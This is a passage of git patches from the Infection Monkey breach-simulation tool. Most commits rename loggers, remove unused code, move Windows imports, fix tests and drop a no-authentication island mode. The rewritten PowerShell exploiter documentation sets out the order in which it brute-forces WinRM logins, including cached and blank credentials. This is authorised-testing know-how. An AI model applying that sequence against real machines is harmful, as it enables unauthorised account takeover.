find_tunnel(default=None, attempts=3, timeout=DEFAULT_TIMEOUT): return address, port except Exception as exc: - LOG.debug("Caught exception in tunnel lookup: %s", exc) + logger.debug("Caught exception in tunnel lookup: %s", exc) continue return None @@ -103,9 +103,9 @@ def quit_tunnel(address, timeout=DEFAULT_TIMEOUT): sock = _set_multicast_socket(timeout) sock.sendto(b"-", (address, MCAST_PORT)) sock.close() - LOG.debug("Success quitting tunnel") + logger.debug("Success quitting tunnel") except Exception as exc: - LOG.debug("Exception quitting tunnel: %s", exc) + logger.debug("Exception quitting tunnel: %s", exc) return @@ -132,13 +132,13 @@ class MonkeyTunnel(Thread): return if not firewall.listen_allowed(localport=self.local_port): - LOG.info("Machine firewalled, listen not allowed, not running tunnel.") + logger.info("Machine firewalled, listen not allowed, not running tunnel.") return proxy = self._proxy_class( local_port=self.local_port, dest_host=self._target_addr, dest_port=self._target_port ) - LOG.info( + logger.info( "Running tunnel using proxy class: %s, listening on port %s, routing to: %s:%s", proxy.__class__.__name__, self.local_port, @@ -154,22 +154,22 @@ class MonkeyTunnel(Thread): ip_match = get_interface_to_target(address[0]) if ip_match: answer = "%s:%d" % (ip_match, self.local_port) - LOG.debug( + logger.debug( "Got tunnel request from %s, answering with %s", address[0], answer ) self._broad_sock.sendto(answer.encode(), (address[0], MCAST_PORT)) elif b"+" == search: if not address[0] in self._clients: - LOG.debug("Tunnel control: Added %s to watchlist", address[0]) + logger.debug("Tunnel control: Added %s to watchlist", address[0]) self._clients.append(address[0]) elif b"-" == search: - LOG.debug("Tunnel control: Removed %s from watchlist", address[0]) + logger.debug("Tunnel control: Removed %s from watchlist", address[0]) self._clients = [client for client in self._clients if client != address[0]] except socket.timeout: continue - LOG.info("Stopping tunnel, waiting for clients: %s" % repr(self._clients)) + logger.info("Stopping tunnel, waiting for clients: %s" % repr(self._clients)) # wait till all of the tunnel clients has been disconnected, or no one used the tunnel in # QUIT_TIMEOUT seconds @@ -177,12 +177,12 @@ class MonkeyTunnel(Thread): try: search, address = self._broad_sock.recvfrom(BUFFER_READ) if b"-" == search: - LOG.debug("Tunnel control: Removed %s from watchlist", address[0]) + logger.debug("Tunnel control: Removed %s from watchlist", address[0]) self._clients = [client for client in self._clients if client != address[0]] except socket.timeout: continue - LOG.info("Closing tunnel") + logger.info("Closing tunnel") self._broad_sock.close() proxy.stop() proxy.join() diff --git a/monkey/infection_monkey/utils/plugins/plugin.py b/monkey/infection_monkey/utils/plugins/plugin.py index f72585cd3..81297d5e8 100644 --- a/monkey/infection_monkey/utils/plugins/plugin.py +++ b/monkey/infection_monkey/utils/plugins/plugin.py @@ -6,7 +6,7 @@ from abc import ABCMeta, abstractmethod from os.path import basename, dirname, isfile, join from typing import Callable, Sequence, Type, TypeVar -LOG = logging.getLogger(__name__) +logger = logging.getLogger(__name__) def _get_candidate_files(base_package_file): @@ -32,7 +32,7 @@ class Plugin(metaclass=ABCMeta): """ objects = [] candidate_files = _get_candidate_files(cls.base_package_file()) - LOG.info( + logger.info( "looking for classes of type {} in {}".format(cls.__name__, cls.base_package_name()) ) # Go through all of files @@ -48,13 +48,13 @@ class Plugin(metaclass=ABCMeta): ] # Get object from class for class_object in classes: - LOG.debug("Checking if should run object {}".format(class_object.__name__)) + logger.debug("Checking if should run object {}".format(class_object.__name__)) try: if class_object.should_run(class_object.__name__): objects.append(class_object) - LOG.debug("Added {} to list".format(class_object.__name__)) + logger.debug("Added {} to list".format(class_object.__name__)) except Exception as e: - LOG.warning( + logger.warning( "Exception {} when checking if {} should run".format( str(e), class_object.__name__ ) @@ -75,7 +75,7 @@ class Plugin(metaclass=ABCMeta): instance = class_object() instances.append(instance) except Exception as e: - LOG.warning( + logger.warning( "Exception {} when initializing {}".format(str(e), class_object.__name__) ) return instances diff --git a/monkey/infection_monkey/windows_upgrader.py b/monkey/infection_monkey/windows_upgrader.py index 90eacac9c..c72f970d9 100644 --- a/monkey/infection_monkey/windows_upgrader.py +++ b/monkey/infection_monkey/windows_upgrader.py @@ -13,7 +13,7 @@ from infection_monkey.utils.commands import ( ) from infection_monkey.utils.environment import is_64bit_python, is_64bit_windows_os, is_windows_os -LOG = logging.getLogger(__name__) +logger = logging.getLogger(__name__) if "win32" == sys.platform: from win32process import DETACHED_PROCESS @@ -38,7 +38,7 @@ class WindowsUpgrader(object): ) as written_monkey_file: shutil.copyfileobj(downloaded_monkey_file, written_monkey_file) except (IOError, AttributeError) as e: - LOG.error("Failed to download the Monkey to the target path: %s." % e) + logger.error("Failed to download the Monkey to the target path: %s." % e) return monkey_options = build_monkey_commandline_explicitly( @@ -58,7 +58,7 @@ class WindowsUpgrader(object): creationflags=DETACHED_PROCESS, ) - LOG.info( + logger.info( "Executed 64bit monkey process (PID=%d) with command line: %s", monkey_process.pid, " ".join(monkey_cmdline), @@ -66,4 +66,4 @@ class WindowsUpgrader(object): time.sleep(WindowsUpgrader.__UPGRADE_WAIT_TIME__) if monkey_process.poll() is not None: - LOG.error("Seems like monkey died too soon") + logger.error("Seems like monkey died too soon") diff --git a/monkey/monkey_island/cc/resources/island_mode.py b/monkey/monkey_island/cc/resources/island_mode.py index 6df681fd7..389d79dea 100644 --- a/monkey/monkey_island/cc/resources/island_mode.py +++ b/monkey/monkey_island/cc/resources/island_mode.py @@ -9,7 +9,7 @@ from monkey_island.cc.services.config_manipulator import update_config_on_mode_s from monkey_island.cc.services.mode.island_mode_service import ModeNotSetError, get_mode, set_mode from monkey_island.cc.services.mode.mode_enum import IslandModeEnum -LOG = logging.getLogger(__name__) +logger = logging.getLogger(__name__) class IslandMode(flask_restful.Resource): @@ -23,7 +23,7 @@ class IslandMode(flask_restful.Resource): set_mode(mode) if not update_config_on_mode_set(mode): - LOG.error( + logger.error( "Could not apply configuration changes per mode. " "Using default advanced configuration." ) diff --git a/monkey/monkey_island/cc/resources/pba_file_upload.py b/monkey/monkey_island/cc/resources/pba_file_upload.py index e96951702..63946caf0 100644 --- a/monkey/monkey_island/cc/resources/pba_file_upload.py +++ b/monkey/monkey_island/cc/resources/pba_file_upload.py @@ -11,7 +11,7 @@ from monkey_island.cc.resources.auth.auth import jwt_required from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.post_breach_files import PostBreachFilesService -LOG = logging.getLogger(__name__) +logger = logging.getLogger(__name__) # Front end uses these strings to identify which files to work with (linux or windows) LINUX_PBA_TYPE = "PBAlinux" WINDOWS_PBA_TYPE = "PBAwindows" diff --git a/monkey/monkey_island/cc/server_utils/file_utils.py b/monkey/monkey_island/cc/server_utils/file_utils.py index 9013cd5f8..f7fe77cc3 100644 --- a/monkey/monkey_island/cc/server_utils/file_utils.py +++ b/monkey/monkey_island/cc/server_utils/file_utils.py @@ -5,7 +5,7 @@ import stat from contextlib import contextmanager from typing import Generator -LOG = logging.getLogger(__name__) +logger = logging.getLogger(__name__) def is_windows_os() -> bool: @@ -35,7 +35,7 @@ def _create_secure_directory_linux(path: str): os.mkdir(path, mode=stat.S_IRWXU) except Exception as ex: - LOG.error(f'Could not create a directory at "{path}": {str(ex)}') + logger.error(f'Could not create a directory at "{path}": {str(ex)}') raise ex @@ -48,7 +48,7 @@ def _create_secure_directory_windows(path: str): win32file.CreateDirectory(path, security_attributes) except Exception as ex: - LOG.error(f'Could not create a directory at "{path}": {str(ex)}') + logger.error(f'Could not create a directory at "{path}": {str(ex)}') raise ex @@ -74,7 +74,7 @@ def _get_file_descriptor_for_new_secure_file_linux(path: str) -> int: return fd except Exception as ex: - LOG.error(f'Could not create a file at "{path}": {str(ex)}') + logger.error(f'Could not create a file at "{path}": {str(ex)}') raise ex @@ -109,7 +109,7 @@ def _get_file_descriptor_for_new_secure_file_windows(path: str) -> int: return win32file._open_osfhandle(detached_handle, os.O_RDWR) except Exception as ex: - LOG.error(f'Could not create a file at "{path}": {str(ex)}') + logger.error(f'Could not create a file at "{path}": {str(ex)}') raise ex diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py index 61952571e..4242e90e4 100644 --- a/monkey/monkey_island/cc/services/attack/attack_report.py +++ b/monkey/monkey_island/cc/services/attack/attack_report.py @@ -45,7 +45,7 @@ from monkey_island.cc.services.reporting.report_generation_synchronisation impor safe_generate_attack_report, ) -LOG = logging.getLogger(__name__) +logger = logging.getLogger(__name__) TECHNIQUES = { "T1210": T1210.T1210, @@ -110,7 +110,7 @@ class AttackReportService: technique_report_data.update(tech_info) report["techniques"].update({tech_id: technique_report_data}) except KeyError as e: - LOG.error( + logger.error( "Attack technique does not have it's report component added " "to attack report service. %s" % e ) diff --git a/monkey/monkey_island/cc/services/mode/island_mode_service.py b/monkey/monkey_island/cc/services/mode/island_mode_service.py index c45e03116..55ab45405 100644 --- a/monkey/monkey_island/cc/services/mode/island_mode_service.py +++ b/monkey/monkey_island/cc/services/mode/island_mode_service.py @@ -3,7 +3,7 @@ import logging from monkey_island.cc.models.island_mode_model import IslandMode from monkey_island.cc.services.mode.mode_enum import IslandModeEnum -LOG = logging.getLogger(__name__) +logger = logging.getLogger(__name__) def set_mode(mode: IslandModeEnum): From 96dee616df8e0a2623d9faf1305141997067371f Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 31 Aug 2021 09:57:19 -0400 Subject: [PATCH 088/454] Agent: Remove unused loggers --- monkey/infection_monkey/exploit/hadoop.py | 3 --- monkey/infection_monkey/exploit/tools/payload_parsing.py | 3 --- .../windows_cred_collector/mimikatz_cred_collector.py | 3 --- 3 files changed, 9 deletions(-) diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index 7d3360a32..f221ebe1f 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -5,7 +5,6 @@ """ import json -import logging import posixpath import string from random import SystemRandom @@ -24,8 +23,6 @@ from infection_monkey.model import ( ) from infection_monkey.utils.commands import build_monkey_commandline -logger = logging.getLogger(__name__) - class HadoopExploiter(WebRCE): _TARGET_OS_TYPE = ["linux", "windows"] diff --git a/monkey/infection_monkey/exploit/tools/payload_parsing.py b/monkey/infection_monkey/exploit/tools/payload_parsing.py index da5913412..ef2e11426 100644 --- a/monkey/infection_monkey/exploit/tools/payload_parsing.py +++ b/monkey/infection_monkey/exploit/tools/payload_parsing.py @@ -1,8 +1,5 @@ -import logging import textwrap -logger = logging.getLogger(__name__) - class Payload(object): """ diff --git a/monkey/infection_monkey/system_info/windows_cred_collector/mimikatz_cred_collector.py b/monkey/infection_monkey/system_info/windows_cred_collector/mimikatz_cred_collector.py index ee42de90a..6a4ef7799 100644 --- a/monkey/infection_monkey/system_info/windows_cred_collector/mimikatz_cred_collector.py +++ b/monkey/infection_monkey/system_info/windows_cred_collector/mimikatz_cred_collector.py @@ -1,4 +1,3 @@ -import logging from typing import List from infection_monkey.system_info.windows_cred_collector import pypykatz_handler @@ -6,8 +5,6 @@ from infection_monkey.system_info.windows_cred_collector.windows_credentials imp WindowsCredentials, ) -logger = logging.getLogger(__name__) - class MimikatzCredentialCollector(object): @staticmethod From 86fd7351adbf458dbe9b103e411044e9a9973260 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 31 Aug 2021 09:57:32 -0400 Subject: [PATCH 089/454] Island: Remove unused loggers --- monkey/monkey_island/cc/resources/pba_file_upload.py | 2 -- monkey/monkey_island/cc/services/mode/island_mode_service.py | 4 ---- 2 files changed, 6 deletions(-) diff --git a/monkey/monkey_island/cc/resources/pba_file_upload.py b/monkey/monkey_island/cc/resources/pba_file_upload.py index 63946caf0..23554ab06 100644 --- a/monkey/monkey_island/cc/resources/pba_file_upload.py +++ b/monkey/monkey_island/cc/resources/pba_file_upload.py @@ -1,5 +1,4 @@ import copy -import logging import flask_restful from flask import Response, request, send_from_directory @@ -11,7 +10,6 @@ from monkey_island.cc.resources.auth.auth import jwt_required from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.post_breach_files import PostBreachFilesService -logger = logging.getLogger(__name__) # Front end uses these strings to identify which files to work with (linux or windows) LINUX_PBA_TYPE = "PBAlinux" WINDOWS_PBA_TYPE = "PBAwindows" diff --git a/monkey/monkey_island/cc/services/mode/island_mode_service.py b/monkey/monkey_island/cc/services/mode/island_mode_service.py index 55ab45405..b745ebef1 100644 --- a/monkey/monkey_island/cc/services/mode/island_mode_service.py +++ b/monkey/monkey_island/cc/services/mode/island_mode_service.py @@ -1,10 +1,6 @@ -import logging - from monkey_island.cc.models.island_mode_model import IslandMode from monkey_island.cc.services.mode.mode_enum import IslandModeEnum -logger = logging.getLogger(__name__) - def set_mode(mode: IslandModeEnum): island_mode_model = IslandMode() From 8d14ff638583cb2914defecf7ebdde58d73975ae Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 31 Aug 2021 19:31:04 +0530 Subject: [PATCH 090/454] agent: Move windows-only imports to the top of the file in utils/windows/users.py --- .../infection_monkey/utils/windows/users.py | 20 +++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) diff --git a/monkey/infection_monkey/utils/windows/users.py b/monkey/infection_monkey/utils/windows/users.py index 6890dc170..8cf128c20 100644 --- a/monkey/infection_monkey/utils/windows/users.py +++ b/monkey/infection_monkey/utils/windows/users.py @@ -2,8 +2,18 @@ import logging import subprocess from infection_monkey.utils.auto_new_user import AutoNewUser +from infection_monkey.utils.environment import is_windows_os from infection_monkey.utils.new_user_error import NewUserError +if is_windows_os(): + import win32api + import win32con + import win32event + import win32process + import win32security + from winsys import _advapi32 + + ACTIVE_NO_NET_USER = "/ACTIVE:NO" WAIT_TIMEOUT_IN_MILLISECONDS = 60 * 1000 @@ -42,10 +52,6 @@ class AutoNewWindowsUser(AutoNewUser): _ = subprocess.check_output(windows_cmds, stderr=subprocess.STDOUT) def __enter__(self): - # Importing these only on windows, as they won't exist on linux. - import win32con - import win32security - try: # Logon as new user: https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf # -winbase-logonusera @@ -62,12 +68,6 @@ class AutoNewWindowsUser(AutoNewUser): return self def run_as(self, command): - # Importing these only on windows, as they won't exist on linux. - import win32api - import win32event - import win32process - from winsys import _advapi32 - exit_code = -1 process_handle = None thread_handle = None From 2f5e6b516a829a07d0064d0f212338d4ee43dd2e Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 31 Aug 2021 19:35:06 +0530 Subject: [PATCH 091/454] tests: Modify unit tests for AutoNewWindowsUser based on previous commit changes --- .../utils/windows/test_windows_users.py | 21 ++++++++++++------- 1 file changed, 14 insertions(+), 7 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/utils/windows/test_windows_users.py b/monkey/tests/unit_tests/infection_monkey/utils/windows/test_windows_users.py index 9e8d8da1b..a5c40e4c5 100644 --- a/monkey/tests/unit_tests/infection_monkey/utils/windows/test_windows_users.py +++ b/monkey/tests/unit_tests/infection_monkey/utils/windows/test_windows_users.py @@ -5,7 +5,6 @@ import pytest from infection_monkey.utils.windows.users import AutoNewWindowsUser TEST_USER = "test_user" -ACTIVE_NO_NET_USER = "/ACTIVE:NO" @pytest.fixture @@ -20,13 +19,21 @@ def subprocess_check_output_spy(monkeypatch): return mock_check_output -def test_new_user_try_delete_windows(subprocess_check_output_spy): - new_user = AutoNewWindowsUser(TEST_USER, "password") +class StubLogonUser: + def __init__(self): + pass - new_user.try_deactivate_user() - assert f"net user {TEST_USER} {ACTIVE_NO_NET_USER}" in " ".join( - subprocess_check_output_spy.command + def Close(): + return None + + +def test_new_user_delete_windows(subprocess_check_output_spy, monkeypatch): + monkeypatch.setattr( + "infection_monkey.utils.windows.users.win32security.LogonUser", + lambda _, __, ___, ____, _____: StubLogonUser, ) - new_user.try_delete_user() + with (AutoNewWindowsUser(TEST_USER, "password")): + pass + assert f"net user {TEST_USER} /delete" in " ".join(subprocess_check_output_spy.command) From e133baea09ffec84d9a3b357c8f0a800559c051e Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 31 Aug 2021 10:41:38 -0400 Subject: [PATCH 092/454] Test: Skip test_new_user_delete_windows on Linux --- .../infection_monkey/utils/windows/test_windows_users.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/monkey/tests/unit_tests/infection_monkey/utils/windows/test_windows_users.py b/monkey/tests/unit_tests/infection_monkey/utils/windows/test_windows_users.py index a5c40e4c5..cb5e0746b 100644 --- a/monkey/tests/unit_tests/infection_monkey/utils/windows/test_windows_users.py +++ b/monkey/tests/unit_tests/infection_monkey/utils/windows/test_windows_users.py @@ -1,3 +1,4 @@ +import os import subprocess import pytest @@ -27,6 +28,7 @@ class StubLogonUser: return None +@pytest.mark.skipif(os.name == "posix", reason="This test only runs on Windows.") def test_new_user_delete_windows(subprocess_check_output_spy, monkeypatch): monkeypatch.setattr( "infection_monkey.utils.windows.users.win32security.LogonUser", From b96a0e74d93109e8f9a6637f9950900108ab706a Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 31 Aug 2021 11:36:58 -0400 Subject: [PATCH 093/454] Docs: Fix formatting of PowerShell exploit markdown --- .../reference/exploiters/PowerShell.md | 32 ++++++++++++------- 1 file changed, 21 insertions(+), 11 deletions(-) diff --git a/docs/content/reference/exploiters/PowerShell.md b/docs/content/reference/exploiters/PowerShell.md index ec8d71878..365c5c72f 100644 --- a/docs/content/reference/exploiters/PowerShell.md +++ b/docs/content/reference/exploiters/PowerShell.md @@ -7,23 +7,32 @@ tags: ["exploit", "windows"] ### Description -his exploiter uses brute-force to propagate to a victim through PowerShell Remoting using Windows Remote Management (WinRM). +his exploiter uses brute-force to propagate to a victim through PowerShell +Remoting using Windows Remote Management (WinRM). -More on [PowerShell Remoting Protocol]("https://docs.microsoft.com/en-us/powershell/scripting/learn/remoting/winrmsecurity?view=powershell-7.1") and [Windows Remote Management]("https://docs.microsoft.com/en-us/windows/win32/winrm/portal"). +More on [PowerShell Remoting +Protocol]("https://docs.microsoft.com/en-us/powershell/scripting/learn/remoting/winrmsecurity?view=powershell-7.1") +and [Windows Remote +Management]("https://docs.microsoft.com/en-us/windows/win32/winrm/portal"). ### Implementation -The exploit brute forces the credentials of PSRP with every possible combination of username and password that -the user provides (see ["configuration"]({{< ref "/usage/configuration" >}})). +The exploit brute forces the credentials of PSRP with every possible +combination of username and password that the user provides (see +["configuration"]({{< ref "/usage/configuration" >}})). #### Credentials list -The PowerShell Remoting Client has ability to use the cached username or/and password from the system we are currently -logged in. This means that the exploiter uses the following combination of credentials to propagate to the victim in the order written: +The PowerShell Remoting Client has ability to use the cached username or/and +password from the system we are currently logged in. This means that the +exploiter uses the following combination of credentials to propagate to the +victim in the order written: -1. Cached username and password; meaning that the client we use is going to take the stored credentials -from the system we are using to connect. In order for the user to connect without entering username and password -the victim must have enabled basic authentication, http and no encryption on the victim machine. +1. Cached username and password; meaning that the client we use is going to + take the stored credentials from the system we are using to connect. In + order for the user to connect without entering username and password the + victim must have enabled basic authentication, http and no encryption on the + victim machine. 2. Cached password; brute-force with different usernames and stored password. @@ -32,5 +41,6 @@ the victim must have enabled basic authentication, http and no encryption on the #### Security considerations -The security concerns, recommendations and best practices when using PowerShell Remoting -can be found [here](https://docs.microsoft.com/en-us/powershell/scripting/learn/remoting/winrmsecurity?view=powershell-7.1). +The security concerns, recommendations and best practices when using PowerShell +Remoting can be found +[here](https://docs.microsoft.com/en-us/powershell/scripting/learn/remoting/winrmsecurity?view=powershell-7.1). From c83a0b4668a8ceed4057425de18320bd70c5b408 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 31 Aug 2021 12:21:08 -0400 Subject: [PATCH 094/454] Docs: Reword PowerShell exploiter documentation --- .../reference/exploiters/PowerShell.md | 53 +++++++++++-------- 1 file changed, 31 insertions(+), 22 deletions(-) diff --git a/docs/content/reference/exploiters/PowerShell.md b/docs/content/reference/exploiters/PowerShell.md index 365c5c72f..5e901e93c 100644 --- a/docs/content/reference/exploiters/PowerShell.md +++ b/docs/content/reference/exploiters/PowerShell.md @@ -7,40 +7,49 @@ tags: ["exploit", "windows"] ### Description -his exploiter uses brute-force to propagate to a victim through PowerShell +This exploiter uses brute-force to propagate to a victim through PowerShell Remoting using Windows Remote Management (WinRM). -More on [PowerShell Remoting -Protocol]("https://docs.microsoft.com/en-us/powershell/scripting/learn/remoting/winrmsecurity?view=powershell-7.1") +See Microsoft's documentation for more on [PowerShell Remoting +Protocol](https://docs.microsoft.com/en-us/powershell/scripting/learn/remoting/winrmsecurity?view=powershell-7.1) and [Windows Remote -Management]("https://docs.microsoft.com/en-us/windows/win32/winrm/portal"). +Management](https://docs.microsoft.com/en-us/windows/win32/winrm/portal). -### Implementation -The exploit brute forces the credentials of PSRP with every possible -combination of username and password that the user provides (see -["configuration"]({{< ref "/usage/configuration" >}})). +##### Credentials used -#### Credentials list +The PowerShell exploiter can be run from both Linux and Windows attackers. On +Windows attackers, the exploiter has the ability to use the cached username +and/or password from the current user. On both Linux and Windows attackers, the +exploiter uses all combinations of the [user-configured usernames and +passwords]({{< ref "/usage/configuration/basic-credentials" >}}). Different +combinations of credentials are attempted in the following order: -The PowerShell Remoting Client has ability to use the cached username or/and -password from the system we are currently logged in. This means that the -exploiter uses the following combination of credentials to propagate to the -victim in the order written: - -1. Cached username and password; meaning that the client we use is going to - take the stored credentials from the system we are using to connect. In - order for the user to connect without entering username and password the - victim must have enabled basic authentication, http and no encryption on the +1. **Cached username and password (Windows attacker only)** - The exploiter will + use the stored credentials of the current user to attempt to log into the victim machine. -2. Cached password; brute-force with different usernames and stored password. +1. **Brute force usernames with blank passwords** - Windows allows you to + configure a user with a blank/empty password. The exploiter will attempt to + log into the victim machine using each username set in the + [configuration]({{< ref "/usage/configuration/basic-credentials" >}}) with a + blank password. -3. List of usernames and passwords set in the configuration. + In order for the attacker to connect with a blank password, the victim must + have enabled basic authentication, http and no encryption. + +1. **Brute force usernames with cached password (Windows attacker only)** - The + exploiter will attempt to log into the victim machine using each username + set in the [configuration]({{< ref "/usage/configuration/basic-credentials" + >}}) and the current user's cached password. + +1. **Brute force usernames and passwords** - The exploiter will attempt to use + all combinations of usernames and passwords that were set in the + [configuration.]({{< ref "/usage/configuration/basic-credentials" >}}) -#### Security considerations +#### Securing PowerShell Remoting -The security concerns, recommendations and best practices when using PowerShell +Information about how to remediate security concerns related to PowerShell Remoting can be found [here](https://docs.microsoft.com/en-us/powershell/scripting/learn/remoting/winrmsecurity?view=powershell-7.1). From 3e453e8b2c9002c341d7adecb8371f2f1ae905a7 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 1 Sep 2021 16:03:12 +0530 Subject: [PATCH 095/454] cc: Remove 'I want anyone to access the island' button --- .../cc/ui/src/components/pages/RegisterPage.js | 7 ------- 1 file changed, 7 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RegisterPage.js b/monkey/monkey_island/cc/ui/src/components/pages/RegisterPage.js index 7dfd51276..896a8984e 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RegisterPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RegisterPage.js @@ -96,13 +96,6 @@ class RegisterPageComponent extends React.Component { - - - - I want anyone to access the island - - - { From 6937a6b81a117bab0f7c5cfd6205eaf78848b8a8 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 1 Sep 2021 16:04:05 +0530 Subject: [PATCH 096/454] cc: Remove setNoAuth() fron RegisterPage.js --- .../ui/src/components/pages/RegisterPage.js | 24 ------------------- 1 file changed, 24 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RegisterPage.js b/monkey/monkey_island/cc/ui/src/components/pages/RegisterPage.js index 896a8984e..90927da44 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RegisterPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RegisterPage.js @@ -24,30 +24,6 @@ class RegisterPageComponent extends React.Component { }); }; - setNoAuth = () => { - let options = {}; - options['headers'] = { - 'Accept': 'application/json', - 'Content-Type': 'application/json' - }; - options['method'] = 'PATCH'; - options['body'] = JSON.stringify({'server_config': 'standard'}); - - return fetch(this.NO_AUTH_API_ENDPOINT, options) - .then(res => { - if (res.status === 200) { - this.auth.attemptNoAuthLogin().then(() => { - this.redirectToHome(); - }); - } else { - this.setState({ - failed: true, - error: res['error'] - }); - } - }) - } - updateUsername = (evt) => { this.username = evt.target.value; }; From 7fe9d752fab0f86d46e0c09d3cded903b1e27777 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 1 Sep 2021 16:06:36 +0530 Subject: [PATCH 097/454] cc: Remove StandardConfig in frontend --- .../cc/ui/src/server_config/ServerConfig.js | 2 -- .../cc/ui/src/server_config/StandardConfig.js | 10 ---------- 2 files changed, 12 deletions(-) delete mode 100644 monkey/monkey_island/cc/ui/src/server_config/StandardConfig.js diff --git a/monkey/monkey_island/cc/ui/src/server_config/ServerConfig.js b/monkey/monkey_island/cc/ui/src/server_config/ServerConfig.js index 14bd5c3ba..270c28710 100644 --- a/monkey/monkey_island/cc/ui/src/server_config/ServerConfig.js +++ b/monkey/monkey_island/cc/ui/src/server_config/ServerConfig.js @@ -1,4 +1,3 @@ -import StandardConfig from './StandardConfig'; import AwsConfig from './AwsConfig'; import PasswordConfig from './PasswordConfig'; @@ -6,7 +5,6 @@ import SERVER_CONFIG_JSON from '../../../server_config.json'; const CONFIG_DICT = { - 'standard': StandardConfig, 'aws': AwsConfig, 'password': PasswordConfig }; diff --git a/monkey/monkey_island/cc/ui/src/server_config/StandardConfig.js b/monkey/monkey_island/cc/ui/src/server_config/StandardConfig.js deleted file mode 100644 index c3ace9a97..000000000 --- a/monkey/monkey_island/cc/ui/src/server_config/StandardConfig.js +++ /dev/null @@ -1,10 +0,0 @@ -import BaseConfig from './BaseConfig'; - -class StandardConfig extends BaseConfig { - - isAuthEnabled() { - return false; - } -} - -export default StandardConfig; From e4d75e25bdabf751dce3cd12f0c69df69170f822 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 1 Sep 2021 16:16:32 +0530 Subject: [PATCH 098/454] island: Remove standard environment --- monkey/monkey_island/cc/environment/__init__.py | 3 --- .../cc/environment/environment_singleton.py | 15 +-------------- monkey/monkey_island/cc/environment/standard.py | 12 ------------ 3 files changed, 1 insertion(+), 29 deletions(-) delete mode 100644 monkey/monkey_island/cc/environment/standard.py diff --git a/monkey/monkey_island/cc/environment/__init__.py b/monkey/monkey_island/cc/environment/__init__.py index 1792ea99b..2c43eb9be 100644 --- a/monkey/monkey_island/cc/environment/__init__.py +++ b/monkey/monkey_island/cc/environment/__init__.py @@ -77,9 +77,6 @@ class Environment(object, metaclass=ABCMeta): def testing(self, value): self._testing = value - def save_config(self): - self._config.save_to_file() - def get_config(self) -> EnvironmentConfig: return self._config diff --git a/monkey/monkey_island/cc/environment/environment_singleton.py b/monkey/monkey_island/cc/environment/environment_singleton.py index 82c6b90b0..4c5c6f744 100644 --- a/monkey/monkey_island/cc/environment/environment_singleton.py +++ b/monkey/monkey_island/cc/environment/environment_singleton.py @@ -1,16 +1,13 @@ import logging -import monkey_island.cc.resources.auth.user_store as user_store -from monkey_island.cc.environment import EnvironmentConfig, aws, password, standard +from monkey_island.cc.environment import EnvironmentConfig, aws, password logger = logging.getLogger(__name__) AWS = "aws" -STANDARD = "standard" PASSWORD = "password" ENV_DICT = { - STANDARD: standard.StandardEnvironment, AWS: aws.AwsEnvironment, PASSWORD: password.PasswordEnvironment, } @@ -24,16 +21,6 @@ def set_env(env_type: str, env_config: EnvironmentConfig): env = ENV_DICT[env_type](env_config) -def set_to_standard(): - global env - if env: - env_config = env.get_config() - env_config.server_config = "standard" - set_env("standard", env_config) - env.save_config() - user_store.UserStore.set_users(env.get_auth_users()) - - def initialize_from_file(file_path): try: config = EnvironmentConfig(file_path) diff --git a/monkey/monkey_island/cc/environment/standard.py b/monkey/monkey_island/cc/environment/standard.py deleted file mode 100644 index 3bc823b9b..000000000 --- a/monkey/monkey_island/cc/environment/standard.py +++ /dev/null @@ -1,12 +0,0 @@ -from monkey_island.cc.environment import Environment -from monkey_island.cc.resources.auth.auth_user import User - - -class StandardEnvironment(Environment): - _credentials_required = False - - NO_AUTH_USER = "1234567890!@#$%^&*()_nothing_up_my_sleeve_1234567890!@#$%^&*()" - NO_AUTH_SECRET = "$2b$12$frH7uEwV3jkDNGgReW6j2udw8hy/Yw1SWAqytrcBYK48kn1V5lQIa" - - def get_auth_users(self): - return [User(1, StandardEnvironment.NO_AUTH_USER, StandardEnvironment.NO_AUTH_SECRET)] From 739a017e91a5ae5e01fd70223a5f4130f6a55669 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 1 Sep 2021 16:18:16 +0530 Subject: [PATCH 099/454] island: Remove API endpoints for standard environment --- monkey/monkey_island/cc/app.py | 2 -- .../monkey_island/cc/resources/environment.py | 22 ------------------- .../ui/src/components/pages/RegisterPage.js | 2 -- 3 files changed, 26 deletions(-) delete mode 100644 monkey/monkey_island/cc/resources/environment.py diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index b3254d7cb..0bc20852f 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -23,7 +23,6 @@ from monkey_island.cc.resources.client_run import ClientRun from monkey_island.cc.resources.configuration_export import ConfigurationExport from monkey_island.cc.resources.configuration_import import ConfigurationImport from monkey_island.cc.resources.edge import Edge -from monkey_island.cc.resources.environment import Environment from monkey_island.cc.resources.exploitations.manual_exploitation import ManualExploitation from monkey_island.cc.resources.exploitations.monkey_exploitation import MonkeyExploitation from monkey_island.cc.resources.island_configuration import IslandConfiguration @@ 